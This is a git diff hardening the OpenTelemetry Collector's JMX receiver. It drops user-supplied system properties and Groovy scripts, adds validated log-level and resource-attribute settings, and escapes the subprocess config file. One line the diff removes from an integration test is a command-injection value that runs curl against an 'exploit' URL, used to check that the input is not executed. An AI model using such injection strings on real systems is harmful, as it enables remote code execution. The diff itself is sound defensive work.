diff --git a/CHANGELOG.md b/CHANGELOG.md index a74d78de35a56..bf83180aded4b 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -4,6 +4,8 @@ ### 🛑 Breaking changes 🛑 +- `jmxreceiver`: Remove properties & groovyscript parameters from JMX Receiver. Add ResourceAttributes & LogLevel parameter to supply some of the removed functionality with reduced attack surface (#9685) + ### 🚩 Deprecations 🚩 ### 🚀 New components 🚀 @@ -53,6 +55,7 @@ - `k8sattributesprocessor`: Support regex capture groups in tag_name (#9525) - `mongoreceiver`: Update metrics scope name from `otelcol/mongodb` to `otelcol/mongodbreceiver` (#9759) - `transformprocessor`: Add new `truncation` function to allow truncating string values in maps such as `attributes` or `resource.attributes` (#9546) +- `jmxreceiver`: Communicate with JMX metrics gatherer subprocess via properties file (#9685) - `datadogexporter`: Add `api.fail_on_invalid_key` to fail fast if api key is invalid (#9426) - `transformprocessor`: Add support for functions to validate parameters (#9563) - `googlecloudexporter`: Add GCP cloud logging exporter (#9679) diff --git a/receiver/jmxreceiver/README.md b/receiver/jmxreceiver/README.md index 945830e0b6a2d..83278d5d81654 100644 --- a/receiver/jmxreceiver/README.md +++ b/receiver/jmxreceiver/README.md @@ -3,8 +3,7 @@ ### Overview The JMX Receiver will work in conjunction with the [OpenTelemetry JMX Metric Gatherer](https://github.com/open-telemetry/opentelemetry-java-contrib/blob/main/jmx-metrics/README.md) -to report metrics from a target MBean server using a built-in or your custom `otel` helper-utilizing -Groovy script. +to report metrics from a target MBean server using a built-in `otel` helper-utilizing Groovy script. Status: alpha @@ -35,10 +34,8 @@ receivers: username: my_jmx_username # determined by the environment variable value password: $MY_JMX_PASSWORD - # will be set as system properties for the underlying java command - properties: - otel.resource.attributes: my.attr=my.value,my.other.attr=my.other.value - some.system.property: some.system.property.value + resource_attributes: my.attr=my.value,my.other.attr=my.other.value + log_level: info additional_jars: - /path/to/other.jar ``` @@ -59,20 +56,11 @@ _Required._ ### target_system -The built-in target system metric gatherer script to run. +The built-in target system (or systems) metric gatherer script to run. +Must be a subset of: `"activemq"`, `"cassandra"`, `"hbase"`, `"hadoop"`, `"jvm"`, `"kafka"`, `"kafka-consumer"`, `"kafka-producer"`, `"solr"`, `"tomcat"`, `"wildfly"`. Corresponds to the `otel.jmx.target.system` property. -One of `groovy_script` or `target_system` is _required_. Both cannot be specified at the same time. - -### groovy_script - -The path of the Groovy script the Metric Gatherer should run. - -Corresponds to the `otel.jmx.groovy.script` property. - -One of `groovy_script` or `target_system` is _required_. Both cannot be specified at the same time. - ### collection_interval (default: `10s`) The interval time for the Groovy script to be run and metrics to be exported by the JMX Metric Gatherer within the persistent JRE process. @@ -91,11 +79,6 @@ The password to use for JMX authentication. Corresponds to the `otel.jmx.password` property. -### properties - -A map of property names to values to be used as system properties set as command line options -(e.g. `-Dproperty.name=property.value`). - ### otlp.endpoint (default: `0.0.0.0:`) The otlp exporter endpoint to which to listen and submit metrics. @@ -158,7 +141,18 @@ The realm, as required by remote profile SASL/DIGEST-MD5. Corresponds to the `otel.jmx.realm` property. - ### additional_jars Additional JARs to be included in the java command classpath. + +### resource_attributes + +List of resource attributes that will be applied to any metrics emitted from the metrics gatherer. + +Corresponds to the `otel.resource.attributes` property. + +### log_level + +SLF4J log level for the JMX metrics gatherer. Must be one of: `"trace"`, `"debug"`, `"info"`, `"warn"`, `"error"`, `"off"` + +Corresponds to the `org.slf4j.simpleLogger.defaultLogLevel` property. diff --git a/receiver/jmxreceiver/config.go b/receiver/jmxreceiver/config.go index 29082331240fb..8d63bc97028e8 100644 --- a/receiver/jmxreceiver/config.go +++ b/receiver/jmxreceiver/config.go @@ -16,13 +16,14 @@ package jmxreceiver // import "github.com/open-telemetry/opentelemetry-collector import ( "fmt" - "os" "sort" "strings" "time" "go.opentelemetry.io/collector/config" "go.opentelemetry.io/collector/exporter/exporterhelper" + "go.uber.org/zap" + "go.uber.org/zap/zapcore" ) type Config struct { @@ -31,10 +32,8 @@ type Config struct { JARPath string `mapstructure:"jar_path"` // The Service URL or host:port for the target coerced to one of form: service:jmx:rmi:///jndi/rmi://:/jmxrmi. Endpoint string `mapstructure:"endpoint"` - // The target system for the metric gatherer whose built in groovy script to run. Cannot be set with GroovyScript. + // The target system for the metric gatherer whose built in groovy script to run. TargetSystem string `mapstructure:"target_system"` - // The script for the metric gatherer to run on the configured interval. Cannot be set with TargetSystem. - GroovyScript string `mapstructure:"groovy_script"` // The duration in between groovy script invocations and metric exports (10 seconds by default). // Will be converted to milliseconds. CollectionInterval time.Duration `mapstructure:"collection_interval"` @@ -60,10 +59,13 @@ type Config struct { RemoteProfile string `mapstructure:"remote_profile"` // The SASL/DIGEST-MD5 realm Realm string `mapstructure:"realm"` - // Map of property names to values to pass as system properties when running JMX Metric Gatherer - Properties map[string]string `mapstructure:"properties"` // Array of additional JARs to be added to the the class path when launching the JMX Metric Gatherer JAR AdditionalJars []string `mapstructure:"additional_jars"` + // Map of resource attributes used by the Java SDK Autoconfigure to set resource attributes + ResourceAttributes map[string]string `mapstructure:"resource_attributes"` + // Log level used by the JMX metric gatherer. Should be one of: + // `"trace"`, `"debug"`, `"info"`, `"warn"`, `"error"`, `"off"` + LogLevel string `mapstructure:"log_level"` } // We don't embed the existing OTLP Exporter config as most fields are unsupported @@ -94,26 +96,67 @@ func (oec otlpExporterConfig) headersToString() string { return headerString } -func (c *Config) parseProperties() []string { - parsed := make([]string, 0, len(c.Properties)) - for property, value := range c.Properties { - parsed = append(parsed, fmt.Sprintf("-D%s=%s", property, value)) +func (c *Config) parseProperties(logger *zap.Logger) []string { + parsed := make([]string, 0, 1) + + logLevel := "info" + if len(c.LogLevel) > 0 { + logLevel = strings.ToLower(c.LogLevel) + } else if logger != nil { + logLevel = getZapLoggerLevelEquivalent(logger) } + + parsed = append(parsed, fmt.Sprintf("-Dorg.slf4j.simpleLogger.defaultLogLevel=%s", logLevel)) // Sorted for testing and reproducibility sort.Strings(parsed) return parsed } +var logLevelTranslator = map[zapcore.Level]string{ + zap.DebugLevel: "debug", + zap.InfoLevel: "info", + zap.WarnLevel: "warn", + zap.ErrorLevel: "error", + zap.DPanicLevel: "error", + zap.PanicLevel: "error", + zap.FatalLevel: "error", +} + +var zapLevels = []zapcore.Level{ + zap.DebugLevel, + zap.InfoLevel, + zap.WarnLevel, + zap.ErrorLevel, + zap.DPanicLevel, + zap.PanicLevel, + zap.FatalLevel, +} + +func getZapLoggerLevelEquivalent(logger *zap.Logger) string { + var loggerLevel *zapcore.Level + for i, level := range zapLevels { + if testLevel(logger, level) { + loggerLevel = &zapLevels[i] + break + } + } + + // Couldn't get log level from logger default logger level to info + if loggerLevel == nil { + return "info" + } + + return logLevelTranslator[*loggerLevel] +} + +func testLevel(logger *zap.Logger, level zapcore.Level) bool { + return logger.Check(level, "_") != nil +} + // parseClasspath creates a classpath string with the JMX Gatherer JAR at the beginning func (c *Config) parseClasspath() string { classPathElems := make([]string, 0) - // See if the CLASSPATH env exists and if so get it's current value - currentClassPath, ok := os.LookupEnv("CLASSPATH") - if ok && currentClassPath != "" { - classPathElems = append(classPathElems, currentClassPath) - } - // Add JMX JAR to classpath classPathElems = append(classPathElems, c.JARPath) @@ -124,13 +167,20 @@ func (c *Config) parseClasspath() string { return strings.Join(classPathElems, ":") } +var validLogLevels = map[string]struct{}{"trace": {}, "debug": {}, "info": {}, "warn": {}, "error": {}, "off": {}} +var validTargetSystems = map[string]struct{}{"activemq": {}, "cassandra": {}, "hbase": {}, "hadoop": {}, + "jvm": {}, "kafka": {}, "kafka-consumer": {}, "kafka-producer": {}, "solr": {}, "tomcat": {}, "wildfly": {}} + func (c *Config) validate() error { var missingFields []string if c.Endpoint == "" { missingFields = append(missingFields, "`endpoint`") } - if c.TargetSystem == "" && c.GroovyScript == "" { - missingFields = append(missingFields, "`target_system` or `groovy_script`") + if c.TargetSystem == "" { + missingFields = append(missingFields, "`target_system`") + } + if c.JARPath == "" { + missingFields = append(missingFields, "`jar_path`") } if missingFields != nil { baseMsg := fmt.Sprintf("%v missing required field", c.ID()) @@ -148,5 +198,26 @@ func (c *Config) validate() error { return fmt.Errorf("%v `otlp.timeout` must be positive: %vms", c.ID(), c.OTLPExporterConfig.Timeout.Milliseconds()) } + if len(c.LogLevel) > 0 { + if _, ok := validLogLevels[strings.ToLower(c.LogLevel)]; !ok { + return fmt.Errorf("%v `log_level` must be one of %s", c.ID(), listKeys(validLogLevels)) + } + } + + for _, system := range strings.Split(c.TargetSystem, ",") { + if _, ok := validTargetSystems[strings.ToLower(system)]; !ok { + return fmt.Errorf("%v `target_system` list may only be a subset of %s", c.ID(), listKeys(validTargetSystems)) + } + } + return nil } + +func listKeys(presenceMap map[string]struct{}) string { + list := make([]string, 0, len(presenceMap)) + for k := range presenceMap { + list = append(list, fmt.Sprintf("'%s'", k)) + } + sort.Strings(list) + return strings.Join(list, ", ") +} diff --git a/receiver/jmxreceiver/config_test.go b/receiver/jmxreceiver/config_test.go index b2ba6df66d875..e01f99d25e68d 100644 --- a/receiver/jmxreceiver/config_test.go +++ b/receiver/jmxreceiver/config_test.go @@ -27,9 +27,11 @@ import ( "go.opentelemetry.io/collector/config/configtest" "go.opentelemetry.io/collector/exporter/exporterhelper" "go.opentelemetry.io/collector/service/servicetest" + "go.uber.org/zap" ) func TestLoadConfig(t *testing.T) { + testLogger, _ := zap.NewDevelopment() factories, err := componenttest.NopFactories() assert.Nil(t, err) @@ -40,14 +42,14 @@ func TestLoadConfig(t *testing.T) { require.NoError(t, err) require.NotNil(t, cfg) - assert.Equal(t, len(cfg.Receivers), 6) + assert.Equal(t, len(cfg.Receivers), 8) r0 := cfg.Receivers[config.NewComponentID(typeStr)].(*Config) require.NoError(t, configtest.CheckConfigStruct(r0)) assert.Equal(t, r0, factory.CreateDefaultConfig()) err = r0.validate() require.Error(t, err) - assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system` or `groovy_script`", err.Error()) + assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system`", err.Error()) r1 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "all")].(*Config) require.NoError(t, configtest.CheckConfigStruct(r1)) @@ -57,10 +59,11 @@ func TestLoadConfig(t *testing.T) { ReceiverSettings: config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "all")), JARPath: "myjarpath", Endpoint: "myendpoint:12345", - GroovyScript: "mygroovyscriptpath", + TargetSystem: "jvm", CollectionInterval: 15 * time.Second, Username: "myusername", Password: "mypassword", + LogLevel: "trace", OTLPExporterConfig: otlpExporterConfig{ Endpoint: "myotlpendpoint", Headers: map[string]string{ @@ -78,19 +81,17 @@ func TestLoadConfig(t *testing.T) { TruststorePassword: "mytruststorepassword", RemoteProfile: "myremoteprofile", Realm: "myrealm", - Properties: map[string]string{ - "property.one": "value.one", - "property.two": "value.two.a=value.two.b,value.two.c=value.two.d", - "org.slf4j.simpleLogger.defaultLogLevel": "info", - }, AdditionalJars: []string{ "/path/to/additional.jar", }, + ResourceAttributes: map[string]string{ + "one": "two", + }, }, r1) assert.Equal( - t, []string{"-Dorg.slf4j.simpleLogger.defaultLogLevel=info", "-Dproperty.one=value.one", "-Dproperty.two=value.two.a=value.two.b,value.two.c=value.two.d"}, - r1.parseProperties(), + t, []string{"-Dorg.slf4j.simpleLogger.defaultLogLevel=trace"}, + r1.parseProperties(testLogger), ) r2 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "missingendpoint")].(*Config) @@ -99,9 +100,8 @@ func TestLoadConfig(t *testing.T) { &Config{ ReceiverSettings: config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "missingendpoint")), JARPath: "/opt/opentelemetry-java-contrib-jmx-metrics.jar", - GroovyScript: "mygroovyscriptpath", + TargetSystem: "jvm", CollectionInterval: 10 * time.Second, - Properties: map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"}, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "0.0.0.0:0", TimeoutSettings: exporterhelper.TimeoutSettings{ @@ -113,6 +113,12 @@ func TestLoadConfig(t *testing.T) { require.Error(t, err) assert.Equal(t, "jmx/missingendpoint missing required field: `endpoint`", err.Error()) + // Default log level should set to level of provided zap logger + assert.Equal( + t, []string{"-Dorg.slf4j.simpleLogger.defaultLogLevel=debug"}, + r2.parseProperties(testLogger), + ) + r3 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "missinggroovy")].(*Config) require.NoError(t, configtest.CheckConfigStruct(r3)) assert.Equal(t, @@ -120,7 +126,6 @@ func TestLoadConfig(t *testing.T) { ReceiverSettings: config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "missinggroovy")), JARPath: "/opt/opentelemetry-java-contrib-jmx-metrics.jar", Endpoint: "service:jmx:rmi:///jndi/rmi://host:12345/jmxrmi", - Properties: map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"}, CollectionInterval: 10 * time.Second, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "0.0.0.0:0", @@ -131,7 +136,7 @@ func TestLoadConfig(t *testing.T) { }, r3) err = r3.validate() require.Error(t, err) - assert.Equal(t, "jmx/missinggroovy missing required field: `target_system` or `groovy_script`", err.Error()) + assert.Equal(t, "jmx/missinggroovy missing required field: `target_system`", err.Error()) r4 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "invalidinterval")].(*Config) require.NoError(t, configtest.CheckConfigStruct(r4)) @@ -140,8 +145,7 @@ func TestLoadConfig(t *testing.T) { ReceiverSettings: config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidinterval")), JARPath: "/opt/opentelemetry-java-contrib-jmx-metrics.jar", Endpoint: "myendpoint:23456", - GroovyScript: "mygroovyscriptpath", - Properties: map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"}, + TargetSystem: "jvm", CollectionInterval: -100 * time.Millisecond, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "0.0.0.0:0", @@ -161,8 +165,7 @@ func TestLoadConfig(t *testing.T) { ReceiverSettings: config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidotlptimeout")), JARPath: "/opt/opentelemetry-java-contrib-jmx-metrics.jar", Endpoint: "myendpoint:34567", - GroovyScript: "mygroovyscriptpath", - Properties: map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"}, + TargetSystem: "jvm", CollectionInterval: 10 * time.Second, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "0.0.0.0:0", @@ -174,6 +177,47 @@ func TestLoadConfig(t *testing.T) { err = r5.validate() require.Error(t, err) assert.Equal(t, "jmx/invalidotlptimeout `otlp.timeout` must be positive: -100ms", err.Error()) + + r6 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "invalidloglevel")].(*Config) + require.NoError(t, configtest.CheckConfigStruct(r6)) + assert.Equal(t, + &Config{ + ReceiverSettings: config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidloglevel")), + JARPath: "/opt/opentelemetry-java-contrib-jmx-metrics.jar", + Endpoint: "myendpoint:55555", + TargetSystem: "jvm", + LogLevel: "truth", + CollectionInterval: 10 * time.Second, + OTLPExporterConfig: otlpExporterConfig{ + Endpoint: "0.0.0.0:0", + TimeoutSettings: exporterhelper.TimeoutSettings{ + Timeout: 5 * time.Second, + }, + }, + }, r6) + err = r6.validate() + require.Error(t, err) + assert.Equal(t, "jmx/invalidloglevel `log_level` must be one of 'debug', 'error', 'info', 'off', 'trace', 'warn'", err.Error()) + + r7 := cfg.Receivers[config.NewComponentIDWithName(typeStr, "invalidtargetsystem")].(*Config) + require.NoError(t, configtest.CheckConfigStruct(r7)) + assert.Equal(t, + &Config{ + ReceiverSettings: config.NewReceiverSettings(config.NewComponentIDWithName(typeStr, "invalidtargetsystem")), + JARPath: "/opt/opentelemetry-java-contrib-jmx-metrics.jar", + Endpoint: "myendpoint:55555", + TargetSystem: "jvm,nonsense", + CollectionInterval: 10 * time.Second, + OTLPExporterConfig: otlpExporterConfig{ + Endpoint: "0.0.0.0:0", + TimeoutSettings: exporterhelper.TimeoutSettings{ + Timeout: 5 * time.Second, + }, + }, + }, r7) + err = r7.validate() + require.Error(t, err) + assert.Equal(t, "jmx/invalidtargetsystem `target_system` list may only be a subset of 'activemq', 'cassandra', 'hadoop', 'hbase', 'jvm', 'kafka', 'kafka-consumer', 'kafka-producer', 'solr', 'tomcat', 'wildfly'", err.Error()) } func TestClassPathParse(t *testing.T) { @@ -213,7 +257,7 @@ func TestClassPathParse(t *testing.T) { }, }, existingEnvVal: "/pre/existing/class/path/", - expected: "/pre/existing/class/path/:/opt/opentelemetry-java-contrib-jmx-metrics.jar:/path/to/one.jar:/path/to/two.jar", + expected: "/opt/opentelemetry-java-contrib-jmx-metrics.jar:/path/to/one.jar:/path/to/two.jar", }, } diff --git a/receiver/jmxreceiver/factory.go b/receiver/jmxreceiver/factory.go index 2a69cea8acc35..d6fc3b7f746a6 100644 --- a/receiver/jmxreceiver/factory.go +++ b/receiver/jmxreceiver/factory.go @@ -40,7 +40,6 @@ func createDefaultConfig() config.Receiver { return &Config{ ReceiverSettings: config.NewReceiverSettings(config.NewComponentID(typeStr)), JARPath: "/opt/opentelemetry-java-contrib-jmx-metrics.jar", - Properties: map[string]string{"org.slf4j.simpleLogger.defaultLogLevel": "info"}, CollectionInterval: 10 * time.Second, OTLPExporterConfig: otlpExporterConfig{ Endpoint: otlpEndpoint, diff --git a/receiver/jmxreceiver/factory_test.go b/receiver/jmxreceiver/factory_test.go index 95c2092c942aa..3c8c7f0c84e06 100644 --- a/receiver/jmxreceiver/factory_test.go +++ b/receiver/jmxreceiver/factory_test.go @@ -38,7 +38,7 @@ func TestWithInvalidConfig(t *testing.T) { cfg, consumertest.NewNop(), ) require.Error(t, err) - assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system` or `groovy_script`", err.Error()) + assert.Equal(t, "jmx missing required fields: `endpoint`, `target_system`", err.Error()) require.Nil(t, r) } @@ -48,7 +48,7 @@ func TestWithValidConfig(t *testing.T) { cfg := f.CreateDefaultConfig() cfg.(*Config).Endpoint = "myendpoint:12345" - cfg.(*Config).GroovyScript = "mygroovyscriptpath" + cfg.(*Config).TargetSystem = "jvm" params := componenttest.NewNopReceiverCreateSettings() r, err := f.CreateMetricsReceiver(context.Background(), params, cfg, consumertest.NewNop()) @@ -65,9 +65,7 @@ func TestWithSetProperties(t *testing.T) { cfg := f.CreateDefaultConfig() cfg.(*Config).Endpoint = "myendpoint:12345" - cfg.(*Config).GroovyScript = "mygroovyscriptpath" - cfg.(*Config).Properties["org.slf4j.simpleLogger.defaultLogLevel"] = "trace" - cfg.(*Config).Properties["org.java.fake.property"] = "true" + cfg.(*Config).TargetSystem = "jvm" params := componenttest.NewNopReceiverCreateSettings() r, err := f.CreateMetricsReceiver(context.Background(), params, cfg, consumertest.NewNop()) diff --git a/receiver/jmxreceiver/integration_test.go b/receiver/jmxreceiver/integration_test.go index 05b9639209c9d..b929af02a7be8 100644 --- a/receiver/jmxreceiver/integration_test.go +++ b/receiver/jmxreceiver/integration_test.go @@ -157,7 +157,7 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() { CollectionInterval: 100 * time.Millisecond, Endpoint: fmt.Sprintf("%v:7199", hostname), JARPath: jar, - GroovyScript: filepath.Join("testdata", "script.groovy"), + TargetSystem: "cassandra", OTLPExporterConfig: otlpExporterConfig{ Endpoint: "127.0.0.1:0", TimeoutSettings: exporterhelper.TimeoutSettings{ @@ -166,15 +166,11 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() { }, Password: "cassandra", Username: "cassandra", - Properties: map[string]string{ - // should be used by Autoconfigure to set resource attributes - "otel.resource.attributes": "myattr=myvalue,myotherattr=myothervalue", - // test script sets dp labels from these system property values - "my.label.name": "mylabel", "my.label.value": "myvalue", - "my.other.label.name": "myotherlabel", "my.other.label.value": "myothervalue", - // confirmation that arbitrary content isn't executed by subprocess - "one": "two & exec curl http://example.com/exploit && exit 123", + ResourceAttributes: map[string]string{ + "myattr": "myvalue", + "myotherattr": "myothervalue", }, + LogLevel: "debug", } require.NoError(t, cfg.validate()) @@ -236,16 +232,6 @@ func (suite *JMXIntegrationSuite) TestJMXReceiverHappyPath() { sum := met.Sum() require.False(t, sum.IsMonotonic()) - // These labels are determined by system properties - labels := sum.DataPoints().At(0).Attributes() - customLabel, ok := labels.Get("mylabel") - require.True(t, ok) - require.Equal(t, "myvalue", customLabel.StringVal()) - - anotherCustomLabel, ok := labels.Get("myotherlabel") - require.True(t, ok) - require.Equal(t, "myothervalue", anotherCustomLabel.StringVal()) - return true }, 30*time.Second, 100*time.Millisecond, getJavaStdout(receiver)) }) @@ -258,8 +244,7 @@ func TestJMXReceiverInvalidOTLPEndpointIntegration(t *testing.T) { CollectionInterval: 100 * time.Millisecond, Endpoint: fmt.Sprintf("service:jmx:rmi:///jndi/rmi://localhost:7199/jmxrmi"), JARPath: "/notavalidpath", - Properties: make(map[string]string), - GroovyScript: filepath.Join("testdata", "script.groovy"), + TargetSystem: "jvm", OTLPExporterConfig: otlpExporterConfig{ Endpoint: ":123", TimeoutSettings: exporterhelper.TimeoutSettings{ diff --git a/receiver/jmxreceiver/receiver.go b/receiver/jmxreceiver/receiver.go index 501881da6b112..77433e76d1c12 100644 --- a/receiver/jmxreceiver/receiver.go +++ b/receiver/jmxreceiver/receiver.go @@ -17,8 +17,11 @@ package jmxreceiver // import "github.com/open-telemetry/opentelemetry-collector import ( "context" "fmt" + "io/ioutil" "net" "net/url" + "os" + "sort" "strconv" "strings" @@ -43,6 +46,7 @@ type jmxMetricReceiver struct { params component.ReceiverCreateSettings otlpReceiver component.MetricsReceiver nextConsumer consumer.Metrics + configFile string } func newJMXMetricReceiver( @@ -58,9 +62,10 @@ func newJMXMetricReceiver( } } -func (jmx *jmxMetricReceiver) Start(ctx context.Context, host component.Host) (err error) { +func (jmx *jmxMetricReceiver) Start(ctx context.Context, host component.Host) error { jmx.logger.Debug("starting JMX Receiver") + var err error jmx.otlpReceiver, err = jmx.buildOTLPReceiver() if err != nil { return err @@ -71,12 +76,29 @@ func (jmx *jmxMetricReceiver) Start(ctx context.Context, host component.Host) (e return err } + tmpFile, err := ioutil.TempFile(os.TempDir(), "jmx-config-*.properties") + if err != nil { + return fmt.Errorf("failed to get tmp file for jmxreceiver config: %w", err) + } + + if _, err = tmpFile.Write([]byte(javaConfig)); err != nil { + return fmt.Errorf("failed to write config file for jmxreceiver config: %w", err) + } + + // Close the file + if err = tmpFile.Close(); err != nil { + return fmt.Errorf("failed to write config file for jmxreceiver config: %w", err) + } + + jmx.configFile = tmpFile.Name() subprocessConfig := subprocess.Config{ ExecutablePath: "java", - Args: append(jmx.config.parseProperties(), jmxMainClass, "-config", "-"), - StdInContents: javaConfig, + Args: append(jmx.config.parseProperties(jmx.logger), jmxMainClass, "-config", jmx.configFile), EnvironmentVariables: map[string]string{ "CLASSPATH": jmx.config.parseClasspath(), + // Overwrite these environment variables to reduce attack surface + "JAVA_TOOL_OPTIONS": "", + "LD_PRELOAD": "", }, } @@ -100,10 +122,14 @@ func (jmx *jmxMetricReceiver) Shutdown(ctx context.Context) error { jmx.logger.Debug("Shutting down JMX Receiver") subprocessErr := jmx.subprocess.Shutdown(ctx) otlpErr := jmx.otlpReceiver.Shutdown(ctx) + removeErr := os.Remove(jmx.configFile) if subprocessErr != nil { return subprocessErr } - return otlpErr + if otlpErr != nil { + return otlpErr + } + return removeErr } func (jmx *jmxMetricReceiver) buildOTLPReceiver() (component.MetricsReceiver, error) { @@ -137,6 +163,7 @@ func (jmx *jmxMetricReceiver) buildOTLPReceiver() (component.MetricsReceiver, er } func (jmx *jmxMetricReceiver) buildJMXMetricGathererConfig() (string, error) { + config := map[string]string{} failedToParse := `failed to parse Endpoint "%s": %w` parsed, err := url.Parse(jmx.config.Endpoint) if err != nil { @@ -155,37 +182,69 @@ func (jmx *jmxMetricReceiver) buildJMXMetricGathererConfig() (string, error) { jmx.config.Endpoint = fmt.Sprintf("service:jmx:rmi:///jndi/rmi://%v:%d/jmxrmi", host, port) } - javaConfig := fmt.Sprintf(`otel.jmx.service.url = %v -otel.jmx.interval.milliseconds = %v -`, jmx.config.Endpoint, jmx.config.CollectionInterval.Milliseconds()) - - if jmx.config.TargetSystem != "" { - javaConfig += fmt.Sprintf("otel.jmx.target.system = %v\n", jmx.config.TargetSystem) - } else if jmx.config.GroovyScript != "" { - javaConfig += fmt.Sprintf("otel.jmx.groovy.script = %v\n", jmx.config.GroovyScript) - } + config["otel.jmx.service.url"] = jmx.config.Endpoint + config["otel.jmx.interval.milliseconds"] = strconv.FormatInt(jmx.config.CollectionInterval.Milliseconds(), 10) + config["otel.jmx.target.system"] = jmx.config.TargetSystem endpoint := jmx.config.OTLPExporterConfig.Endpoint if !strings.HasPrefix(endpoint, "http") { endpoint = fmt.Sprintf("http://%s", endpoint) } - javaConfig += fmt.Sprintf(`otel.metrics.exporter = otlp -otel.exporter.otlp.endpoint = %v -otel.exporter.otlp.timeout = %v -`, endpoint, jmx.config.OTLPExporterConfig.Timeout.Milliseconds()) + config["otel.metrics.exporter"] = "otlp" + config["otel.exporter.otlp.endpoint"] = endpoint + config["otel.exporter.otlp.timeout"] = strconv.FormatInt(jmx.config.OTLPExporterConfig.Timeout.Milliseconds(), 10) if len(jmx.config.OTLPExporterConfig.Headers) > 0 { - javaConfig += fmt.Sprintf("otel.exporter.otlp.headers = %s\n", jmx.config.OTLPExporterConfig.headersToString()) + config["otel.exporter.otlp.headers"] = jmx.config.OTLPExporterConfig.headersToString() } if jmx.config.Username != "" { - javaConfig += fmt.Sprintf("otel.jmx.username = %v\n", jmx.config.Username) + config["otel.jmx.username"] = jmx.config.Username } if jmx.config.Password != "" { - javaConfig += fmt.Sprintf("otel.jmx.password = %v\n", jmx.config.Password) + config["otel.jmx.password"] = jmx.config.Password + } + + if jmx.config.RemoteProfile != "" { + config["otel.jmx.remote.profile"] = jmx.config.RemoteProfile + } + + if jmx.config.Realm != "" { + config["otel.jmx.realm"] = jmx.config.Realm + } + + if len(jmx.config.ResourceAttributes) > 0 { + attributes := make([]string, 0, len(jmx.config.ResourceAttributes)) + for k, v := range jmx.config.ResourceAttributes { + attributes = append(attributes, fmt.Sprintf("%s=%s", k, v)) + } + sort.Strings(attributes) + config["otel.resource.attributes"] = strings.Join(attributes, ",") + } + + content := []string{} + for k, v := range config { + // Documentation of Java Properties format & escapes: https://docs.oracle.com/javase/7/docs/api/java/util/Properties.html#load(java.io.Reader) + + // Keys are receiver-defined so this escape should be unnecessary but in case that assumption + // breaks in the future this will ensure keys are properly escaped + safeKey := strings.ReplaceAll(k, "=", "\\=") + safeKey = strings.ReplaceAll(safeKey, ":", "\\:") + // Any whitespace must be removed from keys + safeKey = strings.ReplaceAll(safeKey, " ", "") + safeKey = strings.ReplaceAll(safeKey, "\t", "") + safeKey = strings.ReplaceAll(safeKey, "\n", "") + + // Unneeded escape tokens will be removed by the properties file loader, so it should be pre-escaped to ensure + // the values provided reach the metrics gatherer as provided. Also in case a user attempts to provide multiline + // values for one of the available fields, we need to escape the newlines + safeValue := strings.ReplaceAll(v, "\\", "\\\\") + safeValue = strings.ReplaceAll(safeValue, "\n", "\\n") + content = append(content, fmt.Sprintf("%s = %s", safeKey, safeValue)) } + sort.Strings(content) - return javaConfig, nil + return strings.Join(content, "\n"), nil } diff --git a/receiver/jmxreceiver/receiver_test.go b/receiver/jmxreceiver/receiver_test.go index 657bc2adcdcf1..456d0f8a9392a 100644 --- a/receiver/jmxreceiver/receiver_test.go +++ b/receiver/jmxreceiver/receiver_test.go @@ -35,7 +35,6 @@ func TestReceiver(t *testing.T) { OTLPExporterConfig: otlpExporterConfig{ Endpoint: fmt.Sprintf("localhost:%d", testutil.GetAvailablePort(t)), }, - Properties: make(map[string]string), } receiver := newJMXMetricReceiver(params, config, consumertest.NewNop()) @@ -55,54 +54,10 @@ func TestBuildJMXMetricGathererConfig(t *testing.T) { expectedError string }{ { - "uses target system", - Config{ - Endpoint: "service:jmx:rmi///jndi/rmi://myservice:12345/jmxrmi/", - TargetSystem: "mytargetsystem", - GroovyScript: "mygroovyscript", - CollectionInterval: 123 * time.Second, - OTLPExporterConfig: otlpExporterConfig{ - Endpoint: "myotlpendpoint", - TimeoutSettings: exporterhelper.TimeoutSettings{ - Timeout: 234 * time.Second, - }, - }, - }, - `otel.jmx.service.url = service:jmx:rmi///jndi/rmi://myservice:12345/jmxrmi/ -otel.jmx.interval.milliseconds = 123000 -otel.jmx.target.system = mytargetsystem -otel.metrics.exporter = otlp -otel.exporter.otlp.endpoint = http://myotlpendpoint -otel.exporter.otlp.timeout = 234000 -`, "", - }, - { - "uses groovy script", - Config{ - Endpoint: "service:jmx:rmi///jndi/rmi://myservice:12345/jmxrmi/", - GroovyScript: "mygroovyscript", - CollectionInterval: 123 * time.Second, - OTLPExporterConfig: otlpExporterConfig{ - Endpoint: "http://myotlpendpoint", - TimeoutSettings: exporterhelper.TimeoutSettings{ - Timeout: 234 * time.Second, - }, - }, - }, - `otel.jmx.service.url = service:jmx:rmi///jndi/rmi://myservice:12345/jmxrmi/ -otel.jmx.interval.milliseconds = 123000 -otel.jmx.groovy.script = mygroovyscript -otel.metrics.exporter = otlp -otel.exporter.otlp.endpoint = http://myotlpendpoint -otel.exporter.otlp.timeout = 234000 -`, "", - }, - { - "uses endpoint as service url", + "handles all relevant input appropriately", Config{ Endpoint: "myhost:12345", TargetSystem: "mytargetsystem", - GroovyScript: "mygroovyscript", CollectionInterval: 123 * time.Second, OTLPExporterConfig: otlpExporterConfig{ Endpoint: "https://myotlpendpoint", @@ -114,22 +69,38 @@ 